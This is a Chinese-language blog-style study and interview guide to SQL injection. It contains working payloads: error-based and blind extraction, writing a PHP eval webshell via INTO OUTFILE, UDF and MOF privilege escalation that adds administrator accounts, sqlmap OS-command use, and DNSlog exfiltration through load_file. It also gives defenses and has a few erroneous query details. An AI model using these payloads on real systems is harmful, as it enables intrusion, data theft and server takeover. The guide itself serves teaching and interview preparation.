本文是SQL相关问题的汇总。请读者先学习SQL注入相关的内容再看本篇博客,会有更深的认知,可用于复习web安全相关原理、安全相关岗位面试。推荐读者先打打靶场,可以更快地掌握漏洞原理和利用方式,靶场比如pikachu、DVWA、sqllib等。
目录
6.时间盲注中,如果sleep和benchmark关键字被过滤掉了该怎么办?
14.非select查询语句怎么利用(insert/update等注入方法)
17.针对MYSQL网站的注入,5.0以上和以下版本有哪些区别?
1.什么是SQL注入
含义
由于程序员对用户输入的数据的合法性没有进行判断和处理;导致客户端可以通过向服务器提交恶意输入 ,造成服务端产生畸形SQL语句,从而非法读取网站数据库,而不是按照设计者意图去执行SQL语句。
原理
网站后台对前台传入的数据没有进行合理的过滤,使得攻击者可以构造畸形的输入,从而改变原查询语句的语义,最终执行非法指令、传入非法参数、增加额外条件等。
危害
主要有以下几点:
绕过登录验证:攻击者可能使用万能密码直接登录网站后台。
敏感信息泄露:攻击者可查看数据库,得到管理员账户密码等敏感信息。
网站植入木马:可能服务器被上传webshell,远程执行命令、创建后门。
数据库被篡改:可能被攻击者增加管理员账户、增加、删除数据。
2.SQL注入的分类
从注入参数分类:数字型注入、字符型注入、搜索型注入。
从注入方法分类:基于报错、基于布尔盲注、基于时间盲注、联合查询、堆叠注入、内联查询注入、宽字节注入等。
从注入点位置分类:GET注入、POST注入、cookie注入、http头注入等
从数据库分类:mysql注入、mssql注入、oracle注入等。
3.基于报错的注入
定义
攻击者构造含义错误sql语法的payload,进行注入后,虽然语句会出错,但payload中的恶意查询语句已经被数据库执行,最终执行后的信息通过错误提示回显到前端。
条件
1.后台并未屏蔽数据库的报错信息。
2.让语法发生错误后在前端回显 。
常见的报错函数
updatexml(XML_document, XPath_string, new_value)
第一个参数XML_document是String格式,为XML文档对象的名称
第二个参数XPath_string 是Xpath格式的字符串
第三个参数new_value,String格式,替换查找到的符合条件的数据
举例:id=1 and (select updatexml(0x3a,concat(1,(select user())),1))
运行结果:[Err] 1105 - XPATH syntax error: 'root@localhost'
extractvalue(XML_document, XPath_string)
第一个参数XML_document是String格式,为XML文档对象的名称
第二个参数XPath_string 是Xpath格式的字符串
举例:id=1 and (select extractvalue(0x3a, concat(0x5c,(select user()))))
运行结果:[Err] 1105 - XPATH syntax error: '\root@localhost'
floor()函数是 MYSQL 中用来取整的函数。
报错是因为rand()函数在查询的时候会执行一次,插入的时候还会执行一次。
group by x先建立一个空表,用于分组.**然后进行分组查询,第一次rand()执行,查询的结果是0,因为是空表所以插入这条,而插入的时候rand()又执行了一次。
举例:id=1 and (select 1 from (select count(*),concat((select user()),
floor(rand(0)*2))x from information_schema.tables group by x)a)运行结果:[Err] 1062 - Duplicate entry 'root@localhost1' for key 'group_key'exp()返回自然对数的幂次
当里面的参数大于709时,就会发生溢出错误
举例:id=1 and (select exp(~(select * from(select user())a)))
运行结果:[Err] 1690 - DOUBLE value is out of range in 'exp(~((select 'root@localhost'
from dual)))'
4.堆叠注入
定义:在SQL语句中,语句都以分号;结尾,如果在分号;后再加上一条SQL语句,则两条语句会一起执行,可造成堆叠注入。
5.盲注
定义
在SQL注入攻击时,服务器关闭了错误回显,攻击者单纯通过服务器返回内容的变化来判断注入是否成功。通常用工具进行注入(手工注入费时费力)。
分类
基于布尔的盲注:通过页面的返回内容是否正确。
基于时间的盲注:通过页面返回的时间,通常使用延时函数sleep(秒数)或benchmark(执行次数,表达式),在注入成功时延长回显时间。
举例:if(ascii(substring((select user from admin limit 0, 1),1,1))=64,sleep(3),null)
如果查询结果的第一位的ascii码值为64,则sleep(3),否则啥也不干。
6.时间盲注中,如果sleep和benchmark关键字被过滤掉了该怎么办?
(1)让两个非常大的数据表做笛卡尔积产生大量的计算从而产生时间延迟
(2)如果服务器端采用长连接的话可以利用Mysql的锁机制即Get_lock()
(3)利用复杂的正则表达式去匹配一个超长字符串来产生时间延迟
7.宽字节注入
原理
在数据库使⽤了宽字符集⽽ WEB 中没考虑这个问题。
在 WEB 层,由于 0XBF27 是两个字符,在 PHP 中⽐如addslash 和 magic_quotes_gpc 开启时,由于会对 0x27 单引号进⾏转义,因此 0xbf27 会变成 0xbf5c27, ⽽数据进⼊数据库中时,由于 0bf5c 是⼀个另外的字符,因此 \ 转义符号会被前⾯的 bf 带着 "吃掉",单引号由此逃逸出来可以⽤来闭合语句
根本原因:character_set_client(客户端的字符集) 和 character_set_connection(连接层的字符集) 不同, 或转换函数如,iconv、mb_convert_encoding 使⽤不当。
解决方法
统⼀数据库、Web 应⽤、操作系统所使⽤的字符集,避免解析产⽣差异,最好都设置为 UTF-8。或对数据进⾏正确的转义,mysql_real_escape_string+mysql_set_charset 的使⽤。
8.常见的系统函数
version():MYSQL版本
user():数据库用户名
database():数据库名
@@datadir:数据库路径
@@version_compile_os:操作系统版本
@@basedir:数据库安装路径
9.SQL在http头部的注入点
user-agent
referrer
cookie
IP
10.如何检测SQL注入漏洞
手工:对特定的url进行手工测试,通过注入特殊字符’ ” ’) ”) )等进行判断。
自动:利用工具进行注入
11.mysql写入shell的前提和命令
前提
前提:当前数据库用户(current_user)具有写文件的权限或root权限,且知道网站的绝对路径。
相关命令
into oufile写入多行,适用于文本文件
into dumpfile写入一行,适用于二进制文件
举例:
id=1 union select '<?php @eval($_POST[\'c\']);?>', user from admin into outfile 'd:\\demo\\m.php'
id=1 union select '<?php @eval($_POST[\'c\']);?>', user from admin into dumpfile 'd:\\demo\\m.php'
12.sql注入绕过waf的方法
(1)寻找waf指纹、搜索对应的waf的绕过方法
(2)白盒绕过:代码审计。
(3)黑盒绕过
黑盒绕过:具体如下
架构层面:寻找源网站绕过waf检测,即寻找源网站的真实地址。或通过同网段绕过waf防护,在同一个网段中,可能经过的数据不会经过云waf,从而实现绕过。
资源限制层面:构造超大数据包可能不会被检测,从而绕过waf,如某些网站 对于get数据进行waf检测 get数据较小,对于post数据不进行waf检测 post数据较大,利用post数据从而绕过waf。
协议层面:某些业务中可能只对get型进行检测,post数据选择忽略。或有些时候存在参数污染,对于url中的index?id=1&id=2,可能仅对id=1进行检测。
规则层面:SQL注释符绕过/空白符绕过/函数分隔绕过/浮点数绕过/利用报错注入/大小写绕过/双写绕过
13.代替空格的方法
%0a、%0b、%a0 等
/**/ 等注释符
<>
14.非select查询语句怎么利用(insert/update等注入方法)
其实没有本质区别,还是构造闭合,可以用联合查询、基于报错的方法。,下面举几个例子。
原本正常的sql语句(后端原本的语句)
update user set password='MD5($password)', homepage='$homepage' where id='$id';
我们可以使用以下三种方式实现注入:
方法一:修改 homepage 值为http://baidu.net', userlevel=’3 则sql语句变为:
update user set password='mypass', homepage='http://baidu.net', userlevel='3' where id='$id';
方法二:修改 password 值为mypass)’ WHERE username=’admin’# 则sql语句变为:
update user set password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' where id='$id';
方法三:修改 id 值为’ OR username='admin则sql语句变为:
update user set password='MD5($password)', homepage='$homepage' where id='' OR username='admin';
15.发现注入点,有哪几种思路获取 webshell?
(1)有写入权限的,构造联合查询语句使用using into outfile,可以将查询的输出重定向到系统的文件中,这样去写入 webshell
(2)使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高
(3)通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 shell
16.SQL注入的防范措施
(1)严格区分普通用户和管理员权限:采用最小权限准则,Web应用程序使用低权限账户,权限仅限于满足应用的正常功能,并且不应该有操作本地文件等权限,连接数据库的账户,不使用高权限账户,甚至是root账户。对于终端用户,即软件的普通使用者,没有必要给他们数据库对象的建立、删除等权限(create table/drop table等。
(2)严格过滤用户输入:测试用户输入的内容,只接受所需的值拒绝包含二进制数据、转义序列和注释字符的输入内容,严格审查包含union,select等SQL关键字的内容。测试用户输入内容的大小和数据类型,强制执行适当的限制与转换。使用Web语言、数据库厂商提供的“安全函数”处理用户输入。
(3)使用预编译语句:使用预编译语句,绑定变量,是防范SQL注入的最佳方式。保证语义不发生变化,防止数据成为指令(参数化查询)
(4)基于攻击特征进行过滤匹配:将SQL注入的攻击特征收集为数据库,一旦匹配到这些特征就认定检测到SQL注入。在网络层面进行防护,部署waf等。
17.针对MYSQL网站的注入,5.0以上和以下版本有哪些区别?
区别:5.0以上存在information_schema这个系统表,可以根据这个表查找表名、列名等。5.0以上是多用户操作。5.0以下没有information_schema,只能暴力跑表名。5.0以下是单用户操作。
如何根据information_schema这个库查库/查表/查列/查字段?
查库:
select schema_name from information_schema.schema;
查表:
select table_name from information_schema.tables where table_schema='security';
查列:
select column_name from information_schema.columns where table_name='users';show tables;
查字段:
select id,username,password from security.users;
18.MYSQL密码采用哪种加密方式?
答:SHA1安全散列算法
19.SQLMap的常用参数
-d 直接连目标后端接数据库(不利用SQL注入)
-p 指定注入点
-u 指定url
-m 指定txt文件,批量扫描
-r POST数据包注入
-x 站点地图,提交给sql一个xml文件。
-c 将使用的命令写在一个文件中,让sqlmap执行文件中的命令,我们可以用--save命令将配置写入文件。
--sql-shell 执行SQL命令
--OS-cmd 执行系统命令
--OS-shell 与系统Shell交互
-r 加载外部请求包
--data=DATA 通过POST发送数据字符串
--proxy=PROXY 使用HTTP代理链接到目标URL
--tamper=TAMPER 使用给定的脚本篡改注入数据
--current-user 获取当前用户名称
--current-db 获取当前数据库名称
--cookie 设置Cookie值
--dbs 列出所有数据库
--tables 列出数据库中的表
–level=LEVEL 执行测试的等级(1-5,默认为1),使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。
-risk=RISK 执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
-v VERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。
20.SQLmap常见的查询语句
单链接注入 sqlmap.py -u url
批量注入 sqlmap.py -m oldboy.txt
post注入 sqlmap.py -r burpsuite抓包.txt
指定参数注入 sqlmap.py -r post.txt -p 注入参数
指定表单注入 sqlmap.py -u URL –data“username=a&password=a”
Cookie注入 sqlmap.py -u url --cookie “id=xx”–level 3 --tables(猜表名)
执行net user命令 sqlmap.py -u “url” --os-cmd="net user”
21.常见的数据库端口
关系型
MySql 3306
Oracle 1521
Sql Server 1433
DB2 5000
PostgreSQL 5432
非关系型
Redis 6379
Memcached 11211
MongoDB 27017
22.MySQL 两种提权方式
这个问题我也不太懂,网上搜的,这里贴一下,回头弄明白了我重写一下。
UDF提权
要求:
1.目标系统是 Windows(Win2000,XP,Win2003);
2. 拥有 MYSQL 的某个用户账号,此账号必须有对 mysql 的 insert 和 delete 权限以创建和抛弃函数
3. 有 root 账号密码。
方法
导出udf:
MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
可以在mysql里输入
select @@basedir
show variables like ‘%plugins%’ 寻找mysql安装路径
提权:
使用SQL语句创建功能函数。
语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;
create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);
drop function cmdshell;
该目录默认是不存在的,这就需要使用webshell找到MySQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。
MOF提权
step1:脚本准备
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";
};instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
step2:
执行load_file及into dumpfile把文件导出到正确的位置即可。
select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov';
执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。
23.DNS盲注相关
DNSlog原理
通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。
DNSlog工具
- 如果自己有服务器和域名,自己DNSlog搭建平台,github上有开源的
- 在线平台:http://ceye.io DNSLog Platform
使用DNSlog注入的情况
目标信息无法回显,如果能发送请求,就可以尝试一下,用DNSlog来获取回显
比如说:挖到一个有SQL盲注的站点,可是用sqlmap跑需要频繁请,最后导致ip被ban
发现疑似命令注入的洞,但是目标站点什么也不显示,无法确认是不是有洞就可以尝试dnslog盲注。以下这些常见都可以尝试dnslog注入:
(1)SQL注入中的盲注
(2)XSS盲打
(3)无回显的命令执行
(4)无回显的SSRF
(5)无回显的XXE(Blind XXE)
DNSlog盲注的利用条件
mysql.ini中的secure_file_priv为空。
secure_file_priv为null,不允许导入导出
secure_file_priv为/tmp,导入导出只能在tmp目录下
secure_file_priv为空,则不限制导入导出。
DNSlog盲注的操作方式
查询当前数据库:
?id=1’and load_file(concat('\\\\',(select database()),'.域名'))--+
相应的,更换select database()语句即可实现DNS外带的回显注入
?id=1’and (select load_file(concat('\\\\',(select database()),'.域名')))#
结语
关于SQL注入漏洞相关问题就总结到此,本文中的许多问题答案也是来源于网络,我做了个总结汇总。时间仓促,如有问题欢迎读者在评论区讨论。